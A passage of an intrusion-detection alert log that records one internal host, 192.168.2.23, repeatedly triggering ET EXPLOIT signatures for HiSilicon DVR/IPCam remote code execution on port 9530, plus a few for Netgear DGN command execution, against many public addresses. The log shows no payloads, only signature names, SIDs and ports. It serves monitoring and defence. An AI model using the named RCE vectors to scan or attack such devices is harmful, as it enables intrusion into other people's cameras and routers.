Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.5.56.248

Timestamp:	05/16/24-16:39:08.146139
SID:	2030487
Source Port:	58950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.254.182.181

Timestamp:	05/16/24-16:39:05.702496
SID:	2030488
Source Port:	40362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.254.182.181

Timestamp:	05/16/24-16:39:05.702496
SID:	2030487
Source Port:	40362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.65.93.92

Timestamp:	05/16/24-16:39:03.284749
SID:	2030488
Source Port:	51890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.65.93.92

Timestamp:	05/16/24-16:39:03.284749
SID:	2030487
Source Port:	51890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.65.59.223

Timestamp:	05/16/24-16:39:14.493500
SID:	2030488
Source Port:	45834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.70.200.1

Timestamp:	05/16/24-16:39:14.529783
SID:	2030487
Source Port:	41552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.70.200.1

Timestamp:	05/16/24-16:39:14.529783
SID:	2030488
Source Port:	41552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.193.37.147

Timestamp:	05/16/24-16:38:59.557143
SID:	2030488
Source Port:	43418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.193.37.147

Timestamp:	05/16/24-16:38:59.557143
SID:	2030487
Source Port:	43418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.65.59.223

Timestamp:	05/16/24-16:39:14.493500
SID:	2030487
Source Port:	45834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.235.155.188

Timestamp:	05/16/24-16:38:55.177047
SID:	2030488
Source Port:	40742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.235.155.188

Timestamp:	05/16/24-16:38:55.177047
SID:	2030487
Source Port:	40742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.202.83.39

Timestamp:	05/16/24-16:38:57.305799
SID:	2030487
Source Port:	34252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.202.83.39

Timestamp:	05/16/24-16:38:57.305799
SID:	2030488
Source Port:	34252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.7.108.9

Timestamp:	05/16/24-16:39:12.301054
SID:	2030487
Source Port:	46702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.7.108.9

Timestamp:	05/16/24-16:39:12.301054
SID:	2030488
Source Port:	46702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.150.27.0

Timestamp:	05/16/24-16:39:14.494602
SID:	2030488
Source Port:	41422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.150.27.0

Timestamp:	05/16/24-16:39:14.494602
SID:	2030487
Source Port:	41422
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.141.91.148

Timestamp:	05/16/24-16:38:57.443990
SID:	2030487
Source Port:	39072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.141.91.148

Timestamp:	05/16/24-16:38:57.443990
SID:	2030488
Source Port:	39072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.37.6.193

Timestamp:	05/16/24-16:38:55.196595
SID:	2030487
Source Port:	39188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.37.6.193

Timestamp:	05/16/24-16:38:55.196595
SID:	2030488
Source Port:	39188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.101.240.57

Timestamp:	05/16/24-16:38:55.201974
SID:	2030487
Source Port:	33470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.101.240.57

Timestamp:	05/16/24-16:38:55.201974
SID:	2030488
Source Port:	33470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.48.201.129

Timestamp:	05/16/24-16:39:08.092942
SID:	2030487
Source Port:	42122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.48.201.129

Timestamp:	05/16/24-16:39:08.092942
SID:	2030488
Source Port:	42122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.154.139.76

Timestamp:	05/16/24-16:39:12.301249
SID:	2030488
Source Port:	41050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.108.108.214

Timestamp:	05/16/24-16:38:53.011306
SID:	2030488
Source Port:	38554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.108.108.214

Timestamp:	05/16/24-16:38:53.011306
SID:	2030487
Source Port:	38554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.154.139.76

Timestamp:	05/16/24-16:39:12.301249
SID:	2030487
Source Port:	41050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.40.78.209

Timestamp:	05/16/24-16:39:03.256852
SID:	2030487
Source Port:	50690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.40.78.209

Timestamp:	05/16/24-16:39:03.256852
SID:	2030488
Source Port:	50690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.231.184.169

Timestamp:	05/16/24-16:38:59.607511
SID:	2030488
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.231.184.169

Timestamp:	05/16/24-16:38:59.607511
SID:	2030487
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.185.225.72

Timestamp:	05/16/24-16:39:08.123528
SID:	2030487
Source Port:	35044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.185.225.72

Timestamp:	05/16/24-16:39:08.123528
SID:	2030488
Source Port:	35044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.209.100.87

Timestamp:	05/16/24-16:39:16.605737
SID:	2030488
Source Port:	39470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.209.100.87

Timestamp:	05/16/24-16:39:16.605737
SID:	2030487
Source Port:	39470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.13.245.230

Timestamp:	05/16/24-16:38:55.205933
SID:	2030487
Source Port:	45988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.13.245.230

Timestamp:	05/16/24-16:38:55.205933
SID:	2030488
Source Port:	45988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.109.38.147

Timestamp:	05/16/24-16:39:16.580778
SID:	2030487
Source Port:	55926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.22.94.229

Timestamp:	05/16/24-16:39:08.127269
SID:	2030488
Source Port:	43276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.22.94.229

Timestamp:	05/16/24-16:39:08.127269
SID:	2030487
Source Port:	43276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.11.16.83

Timestamp:	05/16/24-16:39:02.728015
SID:	2030487
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.11.16.83

Timestamp:	05/16/24-16:39:02.728015
SID:	2030488
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.203.160.166

Timestamp:	05/16/24-16:39:12.401704
SID:	2030488
Source Port:	46130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.109.38.147

Timestamp:	05/16/24-16:39:16.580778
SID:	2030488
Source Port:	55926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.203.160.166

Timestamp:	05/16/24-16:39:12.401704
SID:	2030487
Source Port:	46130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.227.184.236

Timestamp:	05/16/24-16:39:08.127953
SID:	2030487
Source Port:	44690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.227.184.236

Timestamp:	05/16/24-16:39:08.127953
SID:	2030488
Source Port:	44690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.110.214.141

Timestamp:	05/16/24-16:38:59.587396
SID:	2030488
Source Port:	51144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.110.214.141

Timestamp:	05/16/24-16:38:59.587396
SID:	2030487
Source Port:	51144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.135.23.140

Timestamp:	05/16/24-16:39:05.707667
SID:	2030487
Source Port:	57714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.192.62.246

Timestamp:	05/16/24-16:39:03.276929
SID:	2030487
Source Port:	52104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.192.62.246

Timestamp:	05/16/24-16:39:03.276929
SID:	2030488
Source Port:	52104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.135.23.140

Timestamp:	05/16/24-16:39:05.707667
SID:	2030488
Source Port:	57714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.211.11.107

Timestamp:	05/16/24-16:39:05.693347
SID:	2030488
Source Port:	50200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.79.232.33

Timestamp:	05/16/24-16:39:08.045041
SID:	2030487
Source Port:	52582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.211.11.107

Timestamp:	05/16/24-16:39:05.693347
SID:	2030487
Source Port:	50200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.79.232.33

Timestamp:	05/16/24-16:39:08.045041
SID:	2030488
Source Port:	52582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.62.70.65

Timestamp:	05/16/24-16:38:50.052450
SID:	2030488
Source Port:	52856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.61.147.19

Timestamp:	05/16/24-16:38:59.590317
SID:	2030488
Source Port:	43718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.190.87.47

Timestamp:	05/16/24-16:39:14.493475
SID:	2030488
Source Port:	43854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.62.70.65

Timestamp:	05/16/24-16:38:50.052450
SID:	2030487
Source Port:	52856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.55.243.213

Timestamp:	05/16/24-16:38:57.409842
SID:	2030488
Source Port:	60354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.190.87.47

Timestamp:	05/16/24-16:39:14.493475
SID:	2030487
Source Port:	43854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.61.147.19

Timestamp:	05/16/24-16:38:59.590317
SID:	2030487
Source Port:	43718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 119.61.39.176

Timestamp:	05/16/24-16:38:49.306027
SID:	2029215
Source Port:	47404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.145.240.253

Timestamp:	05/16/24-16:38:50.079992
SID:	2030487
Source Port:	48250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.145.240.253

Timestamp:	05/16/24-16:38:50.079992
SID:	2030488
Source Port:	48250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.55.243.213

Timestamp:	05/16/24-16:38:57.409842
SID:	2030487
Source Port:	60354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.100.115.24

Timestamp:	05/16/24-16:39:03.290460
SID:	2030487
Source Port:	34902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.100.115.24

Timestamp:	05/16/24-16:39:03.290460
SID:	2030488
Source Port:	34902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.179.79.219

Timestamp:	05/16/24-16:39:03.281198
SID:	2030487
Source Port:	48246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.179.79.219

Timestamp:	05/16/24-16:39:03.281198
SID:	2030488
Source Port:	48246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.45.230.26

Timestamp:	05/16/24-16:39:12.403686
SID:	2030488
Source Port:	54102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.45.230.26

Timestamp:	05/16/24-16:39:12.403686
SID:	2030487
Source Port:	54102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.8.198.216

Timestamp:	05/16/24-16:39:05.704083
SID:	2030487
Source Port:	44110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.8.198.216

Timestamp:	05/16/24-16:39:05.704083
SID:	2030488
Source Port:	44110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.131.189.230

Timestamp:	05/16/24-16:39:16.602086
SID:	2030488
Source Port:	49324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.131.189.230

Timestamp:	05/16/24-16:39:16.602086
SID:	2030487
Source Port:	49324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.38.251.201

Timestamp:	05/16/24-16:38:53.011190
SID:	2030487
Source Port:	50176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.38.251.201

Timestamp:	05/16/24-16:38:53.011190
SID:	2030488
Source Port:	50176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.4.246.122

Timestamp:	05/16/24-16:38:55.206802
SID:	2030488
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.143.170.231

Timestamp:	05/16/24-16:38:55.225113
SID:	2030488
Source Port:	50674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.218.204.153

Timestamp:	05/16/24-16:38:59.558397
SID:	2030487
Source Port:	42504
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.4.246.122

Timestamp:	05/16/24-16:38:55.206802
SID:	2030487
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.143.170.231

Timestamp:	05/16/24-16:38:55.225113
SID:	2030487
Source Port:	50674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.218.204.153

Timestamp:	05/16/24-16:38:59.558397
SID:	2030488
Source Port:	42504
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.163.89.63

Timestamp:	05/16/24-16:39:08.127230
SID:	2030488
Source Port:	37496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.163.89.63

Timestamp:	05/16/24-16:39:08.127230
SID:	2030487
Source Port:	37496
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.122.116.140

Timestamp:	05/16/24-16:39:08.041949
SID:	2030488
Source Port:	44786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.122.116.140

Timestamp:	05/16/24-16:39:08.041949
SID:	2030487
Source Port:	44786
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.131.55.60

Timestamp:	05/16/24-16:38:50.052407
SID:	2030487
Source Port:	58166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.131.55.60

Timestamp:	05/16/24-16:38:50.052407
SID:	2030488
Source Port:	58166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 178.43.10.146

Timestamp:	05/16/24-16:38:49.282376
SID:	2034576
Source Port:	40108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.243.99.154

Timestamp:	05/16/24-16:38:50.063983
SID:	2030487
Source Port:	56882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.243.99.154

